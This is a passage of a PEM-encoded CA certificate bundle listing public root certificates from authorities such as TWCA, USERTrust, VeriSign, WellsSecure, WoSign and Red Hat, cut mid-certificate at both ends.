qYSjMq+u7msXi7Kx/mzhkIyIqJdIzshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm
4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6gcFGn90xHNcgL
1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WF
H6vPNOw/KP4M8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNo
RI2T9GRwoD2dKAXDOXC4Ynsg/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+
nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlglPx4mI88k1HtQJAH32RjJMtOcQWh
15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryPA9gK8kxkRr05YuWW
6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3mi4TW
nsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5j
wa19hAM8EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWz
aGHQRiapIVJpLesux+t3zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmy
KwbQBM0=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzES
MBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFU
V0NBIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMz
WhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJVEFJV0FO
LUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlm
aWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFE
AcK0HMMxQhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HH
K3XLfJ+utdGdIzdjp9xCoi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeX
RfwZVzsrb+RH9JlF/h3x+JejiB03HFyP4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/z
rX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1ry+UPizgN7gr8/g+YnzAx
3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkq
hkiG9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeC
MErJk/9q56YAf4lCmtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdls
XebQ79NqZp4VKIV66IIArB6nCWlWQtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62D
lhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVYT0bf+215WfKEIlKuD8z7fDvn
aspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocnyYh0igzyXxfkZ
YiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDEL
MAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNl
eSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMT
JVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMjAx
MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgT
Ck5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVUaGUg
VVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlm
aWNhdGlvbiBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqflo
I+d61SRvU8Za2EurxtW20eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinng
o4N+LZfQYcTxmdwlkWOrfzCjtHDix6EznPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0G
A1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBBHU6+4WMB
zzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbW
RNZu9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCB
iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl
cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV
BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAw
MjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNV
BAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
AoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B
3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkY
tJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M/5+bJz/
Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O+T23LLb2
VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT
79uq/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6
c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmT
Yo61Zs8liM2EuLE/pDkP2QKe6xJMlXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97l
c6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8yexDJtC/QV9AqURE9JnnV4ee
UB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+eLf8ZxXhyVeE
Hg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8G
A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPF
Up/L+M+ZBn8b2kMVn54CVVeWFPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KO
VWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ7l8wXEskEVX/JJpuXior7gtNn3/3
ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQEg9zKC7F4iRO/Fjs
8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM8WcR
iQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYze
Sf7dNXGiFSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZ
XHlKYC6SQK5MNyosycdiyA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/
qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9cJ2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRB
VXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGwsAvgnEzDHNb842m1R0aB
L6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gxQ+6IHdfG
jjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCED9pHoGc8JpK83P/uUii5N0wDQYJKoZIhvcNAQEFBQAwXzELMAkG
A1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFz
cyAxIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2
MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVowXzELMAkGA1UEBhMCVVMxFzAVBgNV
BAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmlt
YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDlGb9to1ZhLZlIcfZn3rmN67eehoAKkQ76OCWvRoiC5XOooJskXQ0f
zGVuDLDQVoQYh5oGmxChc9+0WDlrbsH2FdWoqD+qEgaNMax/sDTXjzRniAnNFBHi
TkVWaR94AoDa3EeRKbs2yWNcxeDXLYd7obcysHswuiovMaruo2fa2wIDAQABMA0G
CSqGSIb3DQEBBQUAA4GBAFgVKTk8d6PaXCUDfGD67gmZPCcQcMgMCeazh88K4hiW
NWLMv5sneYlfycQJ9M61Hd8qveXbhpxoJeUwfLaJFf5n0a3hUKw8fGJLj7qE1xIV
Gx/KXQ/BUpQqEZnae88MNhPVNdwQGVnqlMEAv3WP2fr9dgTbYruQagPZRjXZ+Hxb
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkG
A1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFz
cyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2
MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVowXzELMAkGA1UEBhMCVVMxFzAVBgNV
BAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmlt
YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhE
BarsAx94f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/is
I19wKTakyYbnsZogy1Olhec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0G
CSqGSIb3DQEBBQUAA4GBABByUqkFFBkyCEHwxWsKzH4PIRnN5GfcX6kb5sroc50i
2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWXbj9T/UWZYB2oK0z5XqcJ
2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/D/xwzoiQ
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjEL
MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZW
ZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJp
U2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9y
aXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjELMAkG
A1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJp
U2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwg
SW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2ln
biBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5
IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8Utpkmw4tXNherJI9/gHm
GUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGzrl0Bp3ve
fLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJ
aW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYj
aHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMW
kf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMDA2gAMGUCMGYhDBgmYFo4e1ZC
4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIxAJw9SDkjOVga
FRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCB
vTELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL
ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJp
U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MTgwNgYDVQQDEy9W
ZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAe
Fw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJVUzEX
MBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0
IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9y
IGF1dGhvcml6ZWQgdXNlIG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNh
bCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj1mCOkdeQmIN65lgZOIzF
9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGPMiJhgsWH
H26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+H
LL729fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN
/BMReYTtXlT2NJ8IAfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPT
rJ9VAMf2CGqUuV/c4DPxhGD5WycRtPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1Ud
EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0GCCsGAQUFBwEMBGEwX6FdoFsw
WTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2Oa8PPgGrUSBgs
exkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud
DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4
sAPmLGd75JR3Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+
seQxIcaBlVZaDrHC1LGmWazxY8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz
4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTxP/jgdFcrGJ2BtMQo2pSXpXDrrB2+
BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+PwGZsY6rp2aQW9IHR
lRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4mJO3
7M2CYfE45k+XmCpajQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEvTCCA6WgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhTELMAkGA1UEBhMCVVMx
IDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxs
cyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9v
dCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDcxMjEzMTcwNzU0WhcNMjIxMjE0
MDAwNzU0WjCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdl
bGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQD
DC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDub7S9eeKPCCGeOARBJe+r
WxxTkqxtnt3CxC5FlAM1iGd0V+PfjLindo8796jE2yljDpFoNoqXjopxaAkH5OjU
Dk/41itMpBb570OYj7OeUt9tkTmPOL13i0Nj67eT/DBMHAGTthP796EfvyXhdDcs
HqRePGj4S78NuR4uNuip5Kf4D8uCdXw1LSLWwr8L87T8bJVhHlfXBIEyg1J55oNj
z7fLY4sR4r1e6/aN7ZVyKLSsEmLpSjPmgzKuBXWVvYSV2ypcm44uDLiBK0HmOFaf
SZtsdvqKXfcBeYF8wYNABf5x/Qw/zE5gCQ5lRxAvAcAFP4/4s0HvWkJ+We/Slwxl
AgMBAAGjggE0MIIBMDAPBgNVHRMBAf8EBTADAQH/MDkGA1UdHwQyMDAwLqAsoCqG
KGh0dHA6Ly9jcmwucGtpLndlbGxzZmFyZ28uY29tL3dzcHJjYS5jcmwwDgYDVR0P
AQH/BAQDAgHGMB0GA1UdDgQWBBQmlRkQ2eihl5H/3BnZtQQ+0nMKajCBsgYDVR0j
BIGqMIGngBQmlRkQ2eihl5H/3BnZtQQ+0nMKaqGBi6SBiDCBhTELMAkGA1UEBhMC
VVMxIDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNX
ZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMg
Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHmCAQEwDQYJKoZIhvcNAQEFBQADggEB
ALkVsUSRzCPIK0134/iaeycNzXK7mQDKfGYZUMbVmO2rvwNa5U3lHshPcZeG1eMd
/ZDJPHV3V3p9+N701NX3leZ0bh08rnyd2wIDBSxxSyU+B+NemvVmFymIGjifz6pB
A4SXa5M4esowRBskRDPQ5NHcKDj0E0M1NSljqHyita04pO2t/caaH/+Xc/77szWn
k4bGdpEA5qxRFsQnMlzbc9qlk1eOPm01JghZ1edE13YgY+esE2fDbbFwRnzVlhE9
iW9dqKHrjQrawx0zbKPqZxmamX9LPYNRKh3KL4YMon4QLSvUFpULB6ouFJJJtylv
2G0xffX8oRAHh84vWdw+WNs=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFdjCCA16gAwIBAgIQXmjWEXGUY1BWAGjzPsnFkTANBgkqhkiG9w0BAQUFADBV
MQswCQYDVQQGEwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxKjAoBgNV
BAMTIUNlcnRpZmljYXRpb24gQXV0aG9yaXR5IG9mIFdvU2lnbjAeFw0wOTA4MDgw
MTAwMDFaFw0zOTA4MDgwMTAwMDFaMFUxCzAJBgNVBAYTAkNOMRowGAYDVQQKExFX
b1NpZ24gQ0EgTGltaXRlZDEqMCgGA1UEAxMhQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkgb2YgV29TaWduMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvcqN
rLiRFVaXe2tcesLea9mhsMMQI/qnobLMMfo+2aYpbxY94Gv4uEBf2zmoAHqLoE1U
fcIiePyOCbiohdfMlZdLdNiefvAA5A6JrkkoRBoQmTIPJYhTpA2zDxIIFgsDcScc
f+Hb0v1naMQFXQoOXXDX2JegvFNBmpGN9J42Znp+VsGQX+axaCA2pIwkLCxHC1l2
ZjC1vt7tj/id07sBMOby8w7gLJKA84X5KIq0VC6a7fd2/BVoFutKbOsuEo/Uz/4M
x1wdC34FMr5esAkqQtXJTpCzWQ27en7N1QhatH/YHGkR+ScPewavVIMYe+HdVHpR
aG53/Ma/UkpmRqGyZxq7o093oL5d//xWC0Nyd5DKnvnyOfUNqfTq1+ezEC8wQjch
zDBwyYaYD8xYTYO7feUapTeNtqwylwA6Y3EkHp43xP901DfA4v6IRmAR3Qg/UDar
uHqklWJqbrDKaiFaafPz+x1wOZXzp26mgYmhiMU7ccqjUu6Du/2gd/Tkb+dC221K
mYo0SLwX3OSACCK28jHAPwQ+658geda4BmRkAjHXqc1S+4RFaQkAKtxVi8QGRkvA
Sh0JWzko/amrzgD5LkhLJuYwTKVYyrREgk/nkR4zw7CT/xH8gdLKH3Ep3XZPkiWv
HYG3Dy+MwwbMLyejSuQOmbp8HkUff6oZRZb9/D0CAwEAAaNCMEAwDgYDVR0PAQH/
BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFOFmzw7R8bNLtwYgFP6H
EtX2/vs+MA0GCSqGSIb3DQEBBQUAA4ICAQCoy3JAsnbBfnv8rWTjMnvMPLZdRtP1
LOJwXcgu2AZ9mNELIaCJWSQBnfmvCX0KI4I01fx8cpm5o9dU9OpScA7F9dY74ToJ
MuYhOZO9sxXqT2r09Ys/L3yNWC7F4TmgPsc9SnOeQHrAK2GpZ8nzJLmzbVUsWh2e
JXLOC62qx1ViC777Y7NhRCOjy+EaDveaBk3e1CNOIZZbOVtXHS9dCF4Jef98l7VN
g64N1uajeeAz0JmWAjCnPv/So0M/BVoG6kQC2nz4SNAzqfkHx5Xh9T71XXG68pWp
dIhhWeO/yloTunK0jF02h+mmxTwTv97QRCbut+wucPrXnbes5cVAWubXbHssw1ab
R80LzvobtCHXt2a49CUwi1wNuepnsvRtrtWhnk/Yn+knArAdBtaP4/tIEp9/EaEQ
PkxROpaw0RPxx9gmrjrKkcRpnd8BKWRRb2jaFOwIQZeQjdCygPLPwj2/kWjFgGce
xGATVdVhmVd8upUPYUk6ynW8yQqTP2cOEvIo4jEbwFcW3wh8GcF+Dx+FHgo2fFt+
J7x6v+Db9NpSvd4MVHAxkUOVyLzwPt0JfjBkUO1/AaQzZ01oT74V77D2AhGiGxMl
OtzCWfHjXEa7ZywCRuoeSKbmW9m1vFGikpbbqsY3Iqb+zCB0oy2pLmvLwIIRIbWT
ee5Ehr7XHuQe+w==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFWDCCA0CgAwIBAgIQUHBrzdgT/BtOOzNy0hFIjTANBgkqhkiG9w0BAQsFADBG
MQswCQYDVQQGEwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxGzAZBgNV
BAMMEkNBIOayg+mAmuagueivgeS5pjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgw
MTAwMDFaMEYxCzAJBgNVBAYTAkNOMRowGAYDVQQKExFXb1NpZ24gQ0EgTGltaXRl
ZDEbMBkGA1UEAwwSQ0Eg5rKD6YCa5qC56K+B5LmmMIICIjANBgkqhkiG9w0BAQEF
AAOCAg8AMIICCgKCAgEA0EkhHiX8h8EqwqzbdoYGTufQdDTc7WU1/FDWiD+k8H/r
D195L4mx/bxjWDeTmzj4t1up+thxx7S8gJeNbEvxUNUqKaqoGXqW5pWOdO2XCld1
9AXbbQs5uQF/qvbW2mzmBeCkTVL829B0txGMe41P/4eDrv8FAxNXUDf+jJZSEExf
v5RxadmWPgxDT74wwJ85dE8GRV2j1lY5aAfMh09Qd5Nx2UQIsYo06Yms25tO4dnk
UkWMLhQfkWsZHWgpLFbE4h4TV2TwYeO5Ed+w4VegG63XX9Gv2ystP9Bojg/qnw+L
NVgbExz03jWhCl3W6t8Sb8D7aQdGctyB9gQjF+BNdeFyb7Ao65vh4YOhn0pdr8yb
+gIgthhid5E7o9Vlrdx8kHccREGkSovrlXLp9glk3Kgtn3R46MGiCWOc76DbT52V
qyBPt7D3h1ymoOQ3OMdc4zUPLK2jgKLsLl3Az+2LBcLmc272idX10kaO6m1jGx6K
yX2m+Jzr5dVjhU1zZmkR/sgO9MHHZklTfuQZa/HpelmjbX7FF+Ynxu8b22/8DU0G
AbQOXDBGVWCvOGU6yke6rCzMRh+yRpY/8+0mBe53oWprfi1tWFxK1I5nuPHa1UaK
J/kR8slC/k7e3x9cxKSGhxYzoacXGKUN5AXlK8IrC6KVkLn9YDxOiT7nnO4fuwEC
AwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFOBNv9ybQV0T6GTwp+kVpOGBwboxMA0GCSqGSIb3DQEBCwUAA4ICAQBqinA4
WbbaixjIvirTthnVZil6Xc1bL3McJk6jfW+rtylNpumlEYOnOXOvEESS5iVdT2H6
yAa+Tkvv/vMx/sZ8cApBWNromUuWyXi8mHwCKe0JgOYKOoICKuLJL8hWGSbueBwj
/feTZU7n85iYr83d2Z5AiDEoOqsuC7CsDCT6eiaY8xJhEPRdF/d+4niXVOKM6Cm6
jBAyvd0zaziGfjk9DgNyp115j0WKWa5bIW4xRtVZjc8VX90xJc/bYNaBRHIpAlf2
ltTW/+op2znFuCyKGo3Oy+dCMYYFaA6eFN0AkLppRQjbbpCBhqcqBT/mhDn4t/lX
X0ykeVoQDF7Va/81XwVRHmyjdanPUIPTfPRm94KNPQx96N97qA4bLJyuQHCH2u2n
FoJavjVsIE4iYdm8UXrNemHcSxH5/mc0zy4EZmFcV5cjjPOGG0jfKq+nwf/Yjj4D
u9gqsPoUJbJRa4ZDhS4HIxaAjUz7tGM7zMN07RujHv41D198HRaG9Q7DlfEvr10l
O1Hm13ZBONFLAzkopR6RctR9q5czxNM+4Gm2KHmgCY0c0f9BckgG/Jou5yD5m6Le
ie2uPAmvylezkolwQOQvT8Jwg0DXJCxr5wkf09XHwQj02w47HAcLQxGEIYbpgNR1
2KvxAmLBsX5VYc8T1yaw15zLKYs4SgsOkI26oQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEMDCCA5mgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBxzELMAkGA1UEBhMCVVMx
FzAVBgNVBAgTDk5vcnRoIENhcm9saW5hMR8wHQYDVQQHExZSZXNlYXJjaCBUcmlh
bmdsZSBQYXJrMRYwFAYDVQQKEw1SZWQgSGF0LCBJbmMuMSEwHwYDVQQLExhSZWQg
SGF0IE5ldHdvcmsgU2VydmljZXMxIzAhBgNVBAMTGlJITlMgQ2VydGlmaWNhdGUg
QXV0aG9yaXR5MR4wHAYJKoZIhvcNAQkBFg9yaG5zQHJlZGhhdC5jb20wHhcNMDAw
ODIzMjI0NTU1WhcNMDMwODI4MjI0NTU1WjCBxzELMAkGA1UEBhMCVVMxFzAVBgNV
